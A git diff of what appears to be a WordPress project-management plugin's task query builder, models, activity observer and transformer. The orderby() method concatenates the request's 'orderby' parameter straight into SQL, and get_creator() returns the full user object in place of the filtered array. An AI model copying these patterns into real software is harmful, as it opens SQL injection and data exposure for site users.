+ } + + //If its contain between condition + if ( $completed_at_start ) { + + if ( $completed_at_between ) { + $query = $wpdb->prepare( " DATE({$this->tb_tasks}.completed_at) BETWEEN %s AND %s ", $com_start_reduce, $com_add ); + } else { + $query = $wpdb->prepare( " DATE({$this->tb_tasks}.completed_at) NOT BETWEEN %s AND %s ", $com_start_reduce, $com_add ); + } + + $this->where .= " AND ( $query ) "; + + return $this; + } + //close between condition + + $q = []; + + $keys = array_keys( $ope_params ); + $last_key = end( $keys ); + + foreach ( $ope_params as $key => $ope_param ) { + $explode = explode( '|', str_replace( ' ', '', $ope_param ) ); + + if ( ! empty( $explode[1] ) ) { + $relation = $explode[1]; + } else { + $relation = 'AND'; + } + + if ( $last_key == $key ) { + $relation = ''; + } + + $operator = $this->get_operator( $explode[0] ); + $completed_at = date( 'Y-m-d', strtotime( $completed_at ) ); + + if( $explode[0] == 'null' || $explode[0] == 'empty' ) { + + $due_q = "{$this->tb_tasks}.completed_at $operator"; + + $q[] = "($due_q) {$relation}"; + } else { + + $due_q = $wpdb->prepare( " {$this->tb_tasks}.completed_at $operator %s", $completed_at ); + + $q[] = " ( {$due_q} ) {$relation} "; + } + } + + $q = implode( ' ', $q ); + + if ( ! empty( $q ) ) { + $this->where .= " AND ( $q ) "; + } + + return $this; + } + + private function where_due_date() { + global $wpdb; + + $due_date = !empty( $this->query_params['due_date'] ) ? $this->query_params['due_date'] : false; + $due_date_start = !empty( $this->query_params['due_date_start'] ) ? $this->query_params['due_date_start'] : false; + $due_date_between = !isset( $this->query_params['due_date_between'] ) ? true : pm_is_true( $this->query_params['due_date_between'] ); + $ope_params = !empty( $this->query_params['due_date_operator'] ) ? $this->query_params['due_date_operator'] : false; + $ope_params = pm_get_prepare_data( $ope_params ); + + if ( empty( $due_date ) ) { + return $this; + } + + if ( $due_date_start ) { + $due_start_reduce = date('Y-m-d', strtotime ( $due_date_start) ); + $due_add = date('Y-m-d', strtotime ( $due_date ) ); + } + + //If its contain between condition + if ( $due_date_start ) { + + if ( $due_date_between ) { + $query = $wpdb->prepare( " DATE({$this->tb_tasks}.due_date) BETWEEN %s AND %s ", $due_start_reduce, $due_add ); + } else { + $query = $wpdb->prepare( " DATE({$this->tb_tasks}.due_date) NOT BETWEEN %s AND %s ", $due_start_reduce, $due_add ); + } + + $this->where .= " AND ( $query ) "; + + return $this; + } + //close between condition + + $q = []; + + $keys = array_keys( $ope_params ); + $last_key = end( $keys ); + + foreach ( $ope_params as $key => $ope_param ) { + $explode = explode( '|', str_replace( ' ', '', $ope_param ) ); + + if ( ! empty( $explode[1] ) ) { + $relation = $explode[1]; + } else { + $relation = 'AND'; + } + + if ( $last_key == $key ) { + $relation = ''; + } + + $operator = $this->get_operator( $explode[0] ); + $due_date = date( 'Y-m-d', strtotime( $due_date ) ); + + if ( $operator !== "= ''" ) { + if( $explode[0] == 'null' || $explode[0] == 'empty' ) { + $due_q = "{$this->tb_tasks}.due_date $operator"; + + $q[] = "($due_q) $relation"; + } else { + $due_q = $wpdb->prepare( " {$this->tb_tasks}.due_date $operator %s", $due_date ); + + $q[] = " ( {$due_q} ) {$relation} "; + } + } + } + + $q = implode( ' ', $q ); + $q = substr( $q, 0, -2 ); // Remove `or` text from last sql string + + if ( ! empty( $q ) ) { + $this->where .= " AND ( $q ) "; + } + + return $this; + } + + private function get_operator( $param ) { + + $default = [ + 'less_than' => '<', + 'less_than_equal' => '<=', + 'greater_than' => '>', + 'greater_than_equal' => '>=', + 'null' => 'is null', + 'empty' => "= ''", + ]; + + return empty( $default[$param] ) ? '' : $default[$param]; + } + + /** + * Filter task by ID + * + * @return class object + */ + private function where_id() { + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + if ( empty( $id ) ) { + return $this; + } + + global $wpdb; + $format = $this->get_prepare_format( $id ); + $format_ids = $this->get_prepare_data( $id ); + + $this->where .= $wpdb->prepare( " AND {$this->tb_tasks}.id IN ($format)", $format_ids ); + + return $this; + } + + /** + * Filter task by recurrent + * + * @return class object + */ + private function where_recurrent() { + $recurrent = isset( $this->query_params['recurrent'] ) ? $this->query_params['recurrent'] : false; + + if ( empty( $recurrent ) ) { + return $this; + } + + global $wpdb; + $format = $this->get_prepare_format( $recurrent ); + $format_recurrents = $this->get_prepare_data( $recurrent ); + + $this->where .= $wpdb->prepare( " AND {$this->tb_tasks}.recurrent IN ($format)", $format_recurrents ); + + return $this; + } + + /** + * Filter porject by status + * + * @return class object + */ + private function where_status() { + $status = isset( $this->query_params['status'] ) ? $this->query_params['status'] : false; + + if ( $status === false ) { + return $this; + } + + global $wpdb; + + $this->where .= $wpdb->prepare( " AND {$this->tb_tasks}.status=%s", $status ); + + return $this; + } + + /** + * Filter task by title + * + * @return class object + */ + private function where_title() { + $title = isset( $this->query_params['title'] ) ? $this->query_params['title'] : false; + + if ( empty( $title ) ) { + return $this; + } + + global $wpdb; + + $this->where .= $wpdb->prepare( " AND {$this->tb_tasks}.title LIKE %s", '%' . $title . '%' ); + + return $this; + } + + /** + * Generate task query limit + * + * @return class object + */ + private function limit() { + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( $per_page === false || $per_page == '-1' ) { + return $this; + } + + global $wpdb; + + $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); + + return $this; + } + + /** + * Get offset + * + * @return int + */ + private function get_offset() { + $page = isset( $this->query_params['pages'] ) ? $this->query_params['pages'] : false; + + $page = empty( $page ) ? 1 : absint( $page ); + $limit = $this->get_per_page(); + $offset = ( $page - 1 ) * $limit; + + return $offset; + } + + /** + * Get the number for tasks per page + * + * @return class instance + */ + private function get_per_page() { + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( ! empty( $per_page ) && intval( $per_page ) ) { + return (int) $per_page; + } + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( in_array( 'incomplete_tasks_per_page', $with ) ) { + $per_page = pm_get_setting( 'incomplete_tasks_per_page' ); + } + + if ( in_array( 'complete_tasks_per_page', $with ) ) { + $per_page = pm_get_setting( 'complete_tasks_per_page' ); + } + + return empty( $per_page ) ? 10 : (int) $per_page; + } + + /** + * Execute the tasks query + * + * @return class instance + */ + private function get() { + global $wpdb; + + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + $boardable = pm_tb_prefix() . 'pm_boardables'; + $tasks = []; + + $query = $wpdb->prepare( "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_tasks}.*, + list.id as task_list_id, + list.title as task_list_title + + FROM {$this->tb_tasks} + + Left join $boardable as boardable ON boardable.boardable_id = {$this->tb_tasks}.id + Left join {$this->tb_lists} as list ON list.id = boardable.board_id + + {$this->join} + + WHERE %d=%d {$this->where} + + AND boardable.board_type=%s + AND boardable.boardable_type=%s + + {$this->orderby} + + {$this->limit}", + + 1, 1, 'task_list', 'task' + ); + //echo $query; die(); + $results = $wpdb->get_results( $query ); + + // If task has not boardable_id mean no list + foreach ( $results as $key => $result ) { + if( empty( $result->task_list_id ) ) { + continue; + } + + $tasks[] = $result; + } + + + $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); + + $this->tasks = $tasks; + + if ( ! empty( $results ) && is_array( $results ) ) { + $this->task_ids = wp_list_pluck( $results, 'id' ); + } + + if ( ! empty( $results ) && !is_array( $results ) ) { + $this->task_ids = [$results->id]; + } + + return $this; + } + + private function orderby() { + global $wpdb; + + $tb_pj = $wpdb->prefix . 'pm_tasks'; + $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; + + if ( $odr_prms === false && !is_array( $odr_prms ) ) { + $this->orderby = ' ORDER BY boardable.order DESC'; + + return $this; + } + + $orders = []; + + $odr_prms = str_replace( ' ', '', $odr_prms ); + $odr_prms = explode( ',', $odr_prms ); + + foreach ( $odr_prms as $key => $orderStr ) { + $orderStr = str_replace( ' ', '', $orderStr ); + $orderStr = explode( ':', $orderStr ); + + $orderby = $orderStr[0]; + $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; + + $orders[$orderby] = $order; + } + + $order = []; + + foreach ( $orders as $key => $value ) { + $order[] = $tb_pj .'.'. $key . ' ' . $value; + } + + $this->orderby = "ORDER BY " . implode( ', ', $order); + + return $this; + } + + /** + * Set table name as class object + */ + private function set_table_name() { + $this->tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $this->tb_lists = pm_tb_prefix() . 'pm_boards'; + $this->tb_projects = pm_tb_prefix() . 'pm_projects'; + } +} diff --git a/src/Task/Models/Task.php b/src/Task/Models/Task.php index 3520e2223..063df3545 100644 --- a/src/Task/Models/Task.php +++ b/src/Task/Models/Task.php @@ -1,129 +1,129 @@ - 1, - ]; - - public function scopeCompleted($query) { - return $query->where('status', Task::COMPLETE); - } - - public function scopeIncomplete($query) { - return $query->where('status', Task::INCOMPLETE); - } - - public function scopeOverdue( $query ) { - $today = Carbon::now(); - return $query->whereDate('due_date', '<', $today); - } - - public function scopeParent( $query ){ - return $query->where('parent_id', 0); - } - - public function task_lists() { - return $this->belongsToMany( 'WeDevs\PM\Task_List\Models\Task_List', pm_tb_prefix() . 'pm_boardables', 'boardable_id', 'board_id' ) - ->where( pm_tb_prefix() . 'pm_boardables.board_type', 'task_list') - ->where( pm_tb_prefix() . 'pm_boardables.boardable_type', 'task'); - } - - public function boards() { - return $this->belongsToMany( 'WeDevs\PM\Common\Models\Board', pm_tb_prefix() . 'pm_boardables', 'boardable_id', 'board_id' ) - ->where( pm_tb_prefix() . 'pm_boardables.boardable_type', 'task'); - } - - public function boardables() { - return $this->hasMany( 'WeDevs\PM\Common\Models\Boardable', 'boardable_id' )->where( 'boardable_type', 'task' ); - } - - public function files() { - return $this->hasMany( 'WeDevs\PM\File\Models\File', 'fileable_id' )->where( 'fileable_type', 'task' ); - } - - public function comments() { - return $this->hasMany( 'WeDevs\PM\Comment\Models\Comment', 'commentable_id' )->whereIn( 'commentable_type', ['task'] ); - } - - public function assignees() { - return $this->hasMany( 'WeDevs\PM\Common\Models\Assignee', 'task_id' ); - } - - public function user() { - return $this->belongsToMany( 'WeDevs\PM\User\Models\User', pm_tb_prefix() . 'pm_assignees', 'task_id', 'assigned_to' ) - ->withPivot('completed_at', 'assigned_at', 'started_at', 'status'); - } - - public function activities() { - return $this->hasMany( 'WeDevs\PM\Activity\Models\Activity', 'resource_id' )->where( 'resource_type', 'task' )->orderBy( 'created_at', 'DESC' ); - } - - public function projects() { - return $this->belongsTo( 'WeDevs\PM\Project\Models\Project', 'project_id'); - } - - public function task_model( $key = '' ) { - return apply_filters( 'task_model', $this, $key ); - } - - public function metas() { - return $this->hasMany( 'WeDevs\PM\Common\Models\Meta', 'entity_id' ) - ->where( 'entity_type', 'task' ); - } - - public function completer() { - return $this->belongsTo( 'WeDevs\PM\User\Models\User', 'completed_by' ); - } - - public function labels() { - return apply_filters( 'pm_task_model_labels', $this ); - } - -} + 1, + ]; + + public function scopeCompleted($query) { + return $query->where('status', Task::COMPLETE); + } + + public function scopeIncomplete($query) { + return $query->where('status', Task::INCOMPLETE); + } + + public function scopeOverdue( $query ) { + $today = Carbon::now(); + return $query->whereDate('due_date', '<', $today); + } + + public function scopeParent( $query ){ + return $query->where('parent_id', 0); + } + + public function task_lists() { + return $this->belongsToMany( 'WeDevs\PM\Task_List\Models\Task_List', pm_tb_prefix() . 'pm_boardables', 'boardable_id', 'board_id' ) + ->where( pm_tb_prefix() . 'pm_boardables.board_type', 'task_list') + ->where( pm_tb_prefix() . 'pm_boardables.boardable_type', 'task'); + } + + public function boards() { + return $this->belongsToMany( 'WeDevs\PM\Common\Models\Board', pm_tb_prefix() . 'pm_boardables', 'boardable_id', 'board_id' ) + ->where( pm_tb_prefix() . 'pm_boardables.boardable_type', 'task'); + } + + public function boardables() { + return $this->hasMany( 'WeDevs\PM\Common\Models\Boardable', 'boardable_id' )->where( 'boardable_type', 'task' ); + } + + public function files() { + return $this->hasMany( 'WeDevs\PM\File\Models\File', 'fileable_id' )->where( 'fileable_type', 'task' ); + } + + public function comments() { + return $this->hasMany( 'WeDevs\PM\Comment\Models\Comment', 'commentable_id' )->whereIn( 'commentable_type', ['task'] ); + } + + public function assignees() { + return $this->hasMany( 'WeDevs\PM\Common\Models\Assignee', 'task_id' ); + } + + public function user() { + return $this->belongsToMany( 'WeDevs\PM\User\Models\User', pm_tb_prefix() . 'pm_assignees', 'task_id', 'assigned_to' ) + ->withPivot('completed_at', 'assigned_at', 'started_at', 'status'); + } + + public function activities() { + return $this->hasMany( 'WeDevs\PM\Activity\Models\Activity', 'resource_id' )->where( 'resource_type', 'task' )->orderBy( 'created_at', 'DESC' ); + } + + public function projects() { + return $this->belongsTo( 'WeDevs\PM\Project\Models\Project', 'project_id'); + } + + public function task_model( $key = '' ) { + return apply_filters( 'task_model', $this, $key ); + } + + public function metas() { + return $this->hasMany( 'WeDevs\PM\Common\Models\Meta', 'entity_id' ) + ->where( 'entity_type', 'task' ); + } + + public function completer() { + return $this->belongsTo( 'WeDevs\PM\User\Models\User', 'completed_by' ); + } + + public function labels() { + return apply_filters( 'pm_task_model_labels', $this ); + } + +} diff --git a/src/Task/Observers/Task_Observer.php b/src/Task/Observers/Task_Observer.php index 5d3058a6f..97f3619de 100644 --- a/src/Task/Observers/Task_Observer.php +++ b/src/Task/Observers/Task_Observer.php @@ -1,160 +1,160 @@ - $resource->title, - ]; - - $this->log_activity( $resource, 'create_task', 'create', $meta ); - } - - public function deleting( $resource ) { - $meta = [ - 'deleted_task_title' => $resource->title, - ]; - - $this->log_activity( $resource, 'delete_task', 'delete', $meta ); - } - - public function updated( $resource ) { - $this->call_attribute_methods( $resource ); - } - - public function title( Task $item, $old_value ) { - $meta = [ - 'task_title_old' => $old_value, - 'task_title_new' => $item->title, - ]; - - do_action( 'pm_task_title_update', $item->title, $old_value, $item ); - - $this->log_activity( $item, 'update_task_title', 'update', $meta ); - } - - public function description( Task $item, $old_value ) { - $meta = [ - 'task_title' => $item->title, - ]; - - do_action( 'pm_task_description_update', $item->title, $old_value, $item ); - - $this->log_activity( $item, 'update_task_description', 'update', $meta ); - } - - public function estimation( Task $item, $old_value ) { - $meta = [ - 'task_title' => $item->title, - 'task_estimation_old' => $old_value, - 'task_estimation_new' => $item->estimation, - ]; - - $this->log_activity( $item, 'update_task_estimation', 'update', $meta ); - } - - public function start_at( Task $item, $old_value ) { - $meta = [ - 'task_title' => $item->title, - 'task_start_at_old' => $old_value, - 'task_start_at_new' => $item->start_at instanceof Carbon ? $item->start_at->toDateTimeString() : null, - ]; - - $this->log_activity( $item, 'update_task_start_at_date', 'update', $meta ); - } - - public function due_date( Task $item, $old_value ) { - $meta = [ - 'task_title' => $item->title, - 'task_due_date_old' => $old_value, - 'task_due_date_new' => $item->due_date instanceof Carbon ? $item->due_date->toDateTimeString() : null, - ]; - - do_action( 'pm_task_due_date_update', $meta['task_due_date_new'], $old_value, $item ); - - $this->log_activity( $item, 'update_task_due_date', 'update', $meta ); - } - - public function complexity( Task $item, $old_value ) { - $meta = [ - 'task_title' => $item->title, - 'task_complexity_old' => $old_value, - 'task_complexity_new' => $item->complexity, - ]; - - $this->log_activity( $item, 'update_task_complexity', 'update', $meta ); - } - - public function priority( Task $item, $old_value ) { - $meta = [ - 'task_title' => $item->title, - 'task_priority_old' => $old_value, - 'task_priority_new' => $item->priority, - ]; - - $this->log_activity( $item, 'update_task_priority', 'update', $meta ); - } - - public function payable( Task $item, $old_value ) { - $meta = [ - 'task_title' => $item->title, - 'task_payable_old' => $old_value, - 'task_payable_new' => $item->payable, - ]; - - $this->log_activity( $item, 'update_task_payable_status', 'update', $meta ); - } - - public function recurrent( Task $item, $old_value ) { - - $recurrent = [ - 0 => 'none recurrent', - 1 => 'weekly recurrent', - 2 => 'Monthly recurrent', - 3 => 'Annually recurrent', - 4 => 'Daily recurrent', - 9 => 'never recurrent' - ]; - - $meta = [ - 'task_title' => $item->title, - 'task_recurrent_old' => $recurrent[ intval( $old_value) ], - 'task_recurrent_new' => $recurrent[ intval( $item->recurrent ) ], - ]; - - - $this->log_activity( $item, 'update_task_recurrent', 'update', $meta ); - } - - public function status( Task $item, $old_value ) { - $meta = [ - 'task_title' => $item->title, - 'task_status_old' => Task::$status[$old_value], - 'task_status_new' => $item->status, - ]; - - do_action( 'pm_update_task_status', $meta['task_status_new'], $meta['task_status_old'], $item ); - - $this->log_activity( $item, 'update_task_status', 'update', $meta ); - } - - public static function log_activity( Task $item, $action, $action_type, $meta = null ) { - Activity::create([ - 'actor_id' => get_current_user_id(), - 'action' => $action, - 'action_type' => $action_type, - 'resource_id' => $item->id, - 'resource_type' => 'task', - 'meta' => $meta, - 'project_id' => $item->project_id, - ]); - } -} + $resource->title, + ]; + + $this->log_activity( $resource, 'create_task', 'create', $meta ); + } + + public function deleting( $resource ) { + $meta = [ + 'deleted_task_title' => $resource->title, + ]; + + $this->log_activity( $resource, 'delete_task', 'delete', $meta ); + } + + public function updated( $resource ) { + $this->call_attribute_methods( $resource ); + } + + public function title( Task $item, $old_value ) { + $meta = [ + 'task_title_old' => $old_value, + 'task_title_new' => $item->title, + ]; + + do_action( 'pm_task_title_update', $item->title, $old_value, $item ); + + $this->log_activity( $item, 'update_task_title', 'update', $meta ); + } + + public function description( Task $item, $old_value ) { + $meta = [ + 'task_title' => $item->title, + ]; + + do_action( 'pm_task_description_update', $item->title, $old_value, $item ); + + $this->log_activity( $item, 'update_task_description', 'update', $meta ); + } + + public function estimation( Task $item, $old_value ) { + $meta = [ + 'task_title' => $item->title, + 'task_estimation_old' => $old_value, + 'task_estimation_new' => $item->estimation, + ]; + + $this->log_activity( $item, 'update_task_estimation', 'update', $meta ); + } + + public function start_at( Task $item, $old_value ) { + $meta = [ + 'task_title' => $item->title, + 'task_start_at_old' => $old_value, + 'task_start_at_new' => $item->start_at instanceof Carbon ? $item->start_at->toDateTimeString() : null, + ]; + + $this->log_activity( $item, 'update_task_start_at_date', 'update', $meta ); + } + + public function due_date( Task $item, $old_value ) { + $meta = [ + 'task_title' => $item->title, + 'task_due_date_old' => $old_value, + 'task_due_date_new' => $item->due_date instanceof Carbon ? $item->due_date->toDateTimeString() : null, + ]; + + do_action( 'pm_task_due_date_update', $meta['task_due_date_new'], $old_value, $item ); + + $this->log_activity( $item, 'update_task_due_date', 'update', $meta ); + } + + public function complexity( Task $item, $old_value ) { + $meta = [ + 'task_title' => $item->title, + 'task_complexity_old' => $old_value, + 'task_complexity_new' => $item->complexity, + ]; + + $this->log_activity( $item, 'update_task_complexity', 'update', $meta ); + } + + public function priority( Task $item, $old_value ) { + $meta = [ + 'task_title' => $item->title, + 'task_priority_old' => $old_value, + 'task_priority_new' => $item->priority, + ]; + + $this->log_activity( $item, 'update_task_priority', 'update', $meta ); + } + + public function payable( Task $item, $old_value ) { + $meta = [ + 'task_title' => $item->title, + 'task_payable_old' => $old_value, + 'task_payable_new' => $item->payable, + ]; + + $this->log_activity( $item, 'update_task_payable_status', 'update', $meta ); + } + + public function recurrent( Task $item, $old_value ) { + + $recurrent = [ + 0 => 'none recurrent', + 1 => 'weekly recurrent', + 2 => 'Monthly recurrent', + 3 => 'Annually recurrent', + 4 => 'Daily recurrent', + 9 => 'never recurrent' + ]; + + $meta = [ + 'task_title' => $item->title, + 'task_recurrent_old' => $recurrent[ intval( $old_value) ], + 'task_recurrent_new' => $recurrent[ intval( $item->recurrent ) ], + ]; + + + $this->log_activity( $item, 'update_task_recurrent', 'update', $meta ); + } + + public function status( Task $item, $old_value ) { + $meta = [ + 'task_title' => $item->title, + 'task_status_old' => Task::$status[$old_value], + 'task_status_new' => $item->status, + ]; + + do_action( 'pm_update_task_status', $meta['task_status_new'], $meta['task_status_old'], $item ); + + $this->log_activity( $item, 'update_task_status', 'update', $meta ); + } + + public static function log_activity( Task $item, $action, $action_type, $meta = null ) { + Activity::create([ + 'actor_id' => get_current_user_id(), + 'action' => $action, + 'action_type' => $action_type, + 'resource_id' => $item->id, + 'resource_type' => 'task', + 'meta' => $meta, + 'project_id' => $item->project_id, + ]); + } +} diff --git a/src/Task/Task_Model_Trait.php b/src/Task/Task_Model_Trait.php index 995ad42c8..c53be8c1f 100644 --- a/src/Task/Task_Model_Trait.php +++ b/src/Task/Task_Model_Trait.php @@ -1,166 +1,166 @@ - 'incomplete', - 1 => 'complete', - 2 => 'pending', - ]; - - public static $priorities = [ - 0 => 'low', - 1 => 'medium', - 2 => 'high', - ]; - - public static $recurrency = [ - 0 => '0', // no repeat - 1 => '1', // weekly - 2 => '2', // Monthly - 3 => '3', // Annually - 4 => '4', // Daily - 9 => '9', // never - ]; - - public static $payability = [ - 0 => 'no', - 1 => 'yes' - ]; - - public static $complexity = [ - 0 => 'basic', - 1 => 'intermediate', - 2 => 'advance' - ]; - - public function getStatusAttribute( $value ) { - $value = (int) $value; - - if ( array_key_exists( $value, self::$status ) ) { - return self::$status[(int) $value]; - } - - return self::$status[0]; - } - - public function setStatusAttribute( $value ) { - $value = strtolower( $value ); - $key = array_search( $value, self::$status ); - - if ( array_key_exists( $value, self::$status ) ) { - $this->attributes['status'] = $value; - } else { - $this->attributes['status'] = $key; - } - } - - public function getPriorityAttribute( $value ) { - $value = (int) $value; - - if ( array_key_exists( $value, self::$priorities ) ) { - return self::$priorities[(int) $value]; - } - - return self::$priorities[0]; - } - - public function setPriorityAttribute( $value ) { - $value = strtolower( $value ); - $key = array_search( $value, self::$priorities ); - - if ( array_key_exists( $value, self::$priorities ) ) { - $this->attributes['priority'] = $value; - } else { - $this->attributes['priority'] = $key; - } - } - - public function setStartAtAttribute( $date ) { - $this->attributes['start_at'] = make_carbon_date( $date ); - } - - public function setDueDateAttribute( $date ) { - $this->attributes['due_date'] = make_carbon_date( $date ); - } - - public function getRecurrentAttribute( $value ) { - $value = (int) $value; - - if ( array_key_exists( $value, self::$recurrency ) ) { - return self::$recurrency[(int) $value]; - } - - return self::$recurrency[0]; - } - - public function setRecurrentAttribute( $value ) { - $value = strtolower( $value ); - $key = array_search( $value, self::$recurrency ); - - if ( array_key_exists( $value, self::$recurrency ) ) { - $this->attributes['recurrent'] = $value; - } else { - $this->attributes['recurrent'] = $key; - } - } - - public function getPayableAttribute( $value ) { - $value = (int) $value; - - if ( array_key_exists( $value, self::$payability ) ) { - return self::$payability[(int) $value]; - } - - return self::$payability[0]; - } - - public function setPayableAttribute( $value ) { - $value = strtolower( $value ); - $key = array_search( $value, self::$payability ); - - if ( array_key_exists( $value, self::$payability ) ) { - var_dump( $value ); - $this->attributes['payable'] = $value; - } else { - $this->attributes['payable'] = $key; - } - } - - public function getComplexityAttribute( $value ) { - $value = (int) $value; - - if ( array_key_exists( $value, self::$complexity ) ) { - return self::$complexity[(int) $value]; - } - - return self::$complexity[0]; - } - - public function setComplexityAttribute( $value ) { - $value = strtolower( $value ); - $key = array_search( $value, self::$complexity ); - - if ( array_key_exists( $value, self::$complexity ) ) { - $this->attributes['complexity'] = $value; - } else { - $this->attributes['complexity'] = $key; - } - } - - - public function getPrivacyAtAttribute() { - return $this->mates()->where('meta_key', 'privacy')->first()->meta_value === 1; - } - - public function getTaskListAttribute() { - $task_list = $this->task_lists()->first(); - if ($task_list) { - return $task_list->id; - } - } -} + 'incomplete', + 1 => 'complete', + 2 => 'pending', + ]; + + public static $priorities = [ + 0 => 'low', + 1 => 'medium', + 2 => 'high', + ]; + + public static $recurrency = [ + 0 => '0', // no repeat + 1 => '1', // weekly + 2 => '2', // Monthly + 3 => '3', // Annually + 4 => '4', // Daily + 9 => '9', // never + ]; + + public static $payability = [ + 0 => 'no', + 1 => 'yes' + ]; + + public static $complexity = [ + 0 => 'basic', + 1 => 'intermediate', + 2 => 'advance' + ]; + + public function getStatusAttribute( $value ) { + $value = (int) $value; + + if ( array_key_exists( $value, self::$status ) ) { + return self::$status[(int) $value]; + } + + return self::$status[0]; + } + + public function setStatusAttribute( $value ) { + $value = strtolower( $value ); + $key = array_search( $value, self::$status ); + + if ( array_key_exists( $value, self::$status ) ) { + $this->attributes['status'] = $value; + } else { + $this->attributes['status'] = $key; + } + } + + public function getPriorityAttribute( $value ) { + $value = (int) $value; + + if ( array_key_exists( $value, self::$priorities ) ) { + return self::$priorities[(int) $value]; + } + + return self::$priorities[0]; + } + + public function setPriorityAttribute( $value ) { + $value = strtolower( $value ); + $key = array_search( $value, self::$priorities ); + + if ( array_key_exists( $value, self::$priorities ) ) { + $this->attributes['priority'] = $value; + } else { + $this->attributes['priority'] = $key; + } + } + + public function setStartAtAttribute( $date ) { + $this->attributes['start_at'] = make_carbon_date( $date ); + } + + public function setDueDateAttribute( $date ) { + $this->attributes['due_date'] = make_carbon_date( $date ); + } + + public function getRecurrentAttribute( $value ) { + $value = (int) $value; + + if ( array_key_exists( $value, self::$recurrency ) ) { + return self::$recurrency[(int) $value]; + } + + return self::$recurrency[0]; + } + + public function setRecurrentAttribute( $value ) { + $value = strtolower( $value ); + $key = array_search( $value, self::$recurrency ); + + if ( array_key_exists( $value, self::$recurrency ) ) { + $this->attributes['recurrent'] = $value; + } else { + $this->attributes['recurrent'] = $key; + } + } + + public function getPayableAttribute( $value ) { + $value = (int) $value; + + if ( array_key_exists( $value, self::$payability ) ) { + return self::$payability[(int) $value]; + } + + return self::$payability[0]; + } + + public function setPayableAttribute( $value ) { + $value = strtolower( $value ); + $key = array_search( $value, self::$payability ); + + if ( array_key_exists( $value, self::$payability ) ) { + var_dump( $value ); + $this->attributes['payable'] = $value; + } else { + $this->attributes['payable'] = $key; + } + } + + public function getComplexityAttribute( $value ) { + $value = (int) $value; + + if ( array_key_exists( $value, self::$complexity ) ) { + return self::$complexity[(int) $value]; + } + + return self::$complexity[0]; + } + + public function setComplexityAttribute( $value ) { + $value = strtolower( $value ); + $key = array_search( $value, self::$complexity ); + + if ( array_key_exists( $value, self::$complexity ) ) { + $this->attributes['complexity'] = $value; + } else { + $this->attributes['complexity'] = $key; + } + } + + + public function getPrivacyAtAttribute() { + return $this->mates()->where('meta_key', 'privacy')->first()->meta_value === 1; + } + + public function getTaskListAttribute() { + $task_list = $this->task_lists()->first(); + if ($task_list) { + return $task_list->id; + } + } +} diff --git a/src/Task/Transformers/New_Task_Transformer.php b/src/Task/Transformers/New_Task_Transformer.php index b247295ea..6f8c91249 100644 --- a/src/Task/Transformers/New_Task_Transformer.php +++ b/src/Task/Transformers/New_Task_Transformer.php @@ -1,185 +1,185 @@ - (int) $item->id, - 'title' => $item->title, - 'description' => [ 'html' => pm_get_content( $item->description ), 'content' => $item->description ], - 'estimation' => $item->estimation, - 'start_at' => format_date( $item->start_at ), - 'due_date' => format_date( $item->due_date ), - 'complexity' => $item->complexity, - 'priority' => $item->priority, - //'order' => (int) $order, - 'payable' => $item->payable, - 'recurrent' => $item->recurrent, - 'parent_id' => $item->parent_id, - 'status' => $item->status, - 'project_id' => $item->project_id, - 'category_id' => $item->category_id, - 'created_at' => format_date( $item->created_at ), - 'completed_at' => format_date( $item->completed_at ), - 'updated_at' => format_date( $item->updated_at ), - 'task_list_id' => $item->task_list, - 'meta' => $this->meta( $item ), - 'assignees' => $this->assignees( $item ), - 'creator' => $this->get_creator( $item ) - ]; - - if ( $this->list_task_transormer_filter ) { - return apply_filters( 'pm_list_task_transormer', $task, $item ); - } - - return $task; - } - - public function get_creator( $item ) { - if(empty($item->created_by)) { - return []; - } - - $user = get_user_by( 'id', $item->created_by ); - - if ( ! $user ) { - return []; - } - - $data = [ - 'id' => (int) $user->ID, - 'username' => $user->user_login, - 'nicename' => $user->user_nicename, - 'email' => $user->user_email, - 'profile_url' => $user->user_url, - 'display_name' => $user->display_name, - 'manage_capability' => (int) pm_has_manage_capability($user->ID), - 'create_capability' => (int) pm_has_project_create_capability($user->ID), - 'avatar_url' => get_avatar_url( $user->user_email ), - ]; - - return $user; - } - - - public function meta( Task $item ) { - $metas = [ - 'can_complete_task' => $this->pm_user_can_complete_task( $item ), - 'total_comment' => $item->total_comment, - ]; - - return $metas; - } - - function pm_user_can_complete_task( $item ) { - - if( ! $item ) { - return false; - } - - $user_id = get_current_user_id(); - - if ( pm_has_manage_capability( $user_id ) ) { - return true; - } - - if ( pm_is_manager( $item->project_id, $user_id ) ) { - return true; - } - - if ( $item->created_by == $user_id ) { - return true; - } - - $assignees = $this->get_task_assignee_ids( $item ); //pluck( 'assigned_to' )->all(); - $in_array = in_array( $user_id, $assignees ); - - if ( !empty( $in_array ) ) { - return true; - } - - return false; - } - - public function get_task_assignee_ids( $item ) { - $assigness = []; - if( empty( $item->assignees ) ) { - return []; - } - - $users = $item->assignees; - - foreach ( $users as $key => $assign ) { - - if ( is_object( $assign ) ) { - $user_id = $assign->assigned_to; - } else { - $user_id = $assign['assigned_to']; - } - - if ( ! empty( $user_id ) ) { - $assigness[] = $user_id; - } - - } - - return $assigness; - } - - public function assignees( $item ) { - $assignees = ['data'=>[]]; - - if( empty( $item->assignees ) ) { - return $assignees; - } - - foreach ( $item->assignees as $key => $assign ) { - - if ( is_object( $assign ) ) { - $user_id = $assign->assigned_to; - } else { - $user_id = $assign['assigned_to']; - } - - if ( empty( $user_id ) ) continue; - - $user = get_user_by( 'id', $user_id ); - - $data = [ - 'id' => (int) $user->ID, - 'username' => $user->user_login, - 'nicename' => $user->user_nicename, - 'email' => $user->user_email, - 'profile_url' => $user->user_url, - 'display_name' => $user->display_name, - 'manage_capability' => (int) pm_has_manage_capability($user->ID), - 'create_capability' => (int) pm_has_project_create_capability($user->ID), - 'avatar_url' => get_avatar_url( $user->user_email ), - ]; - - - 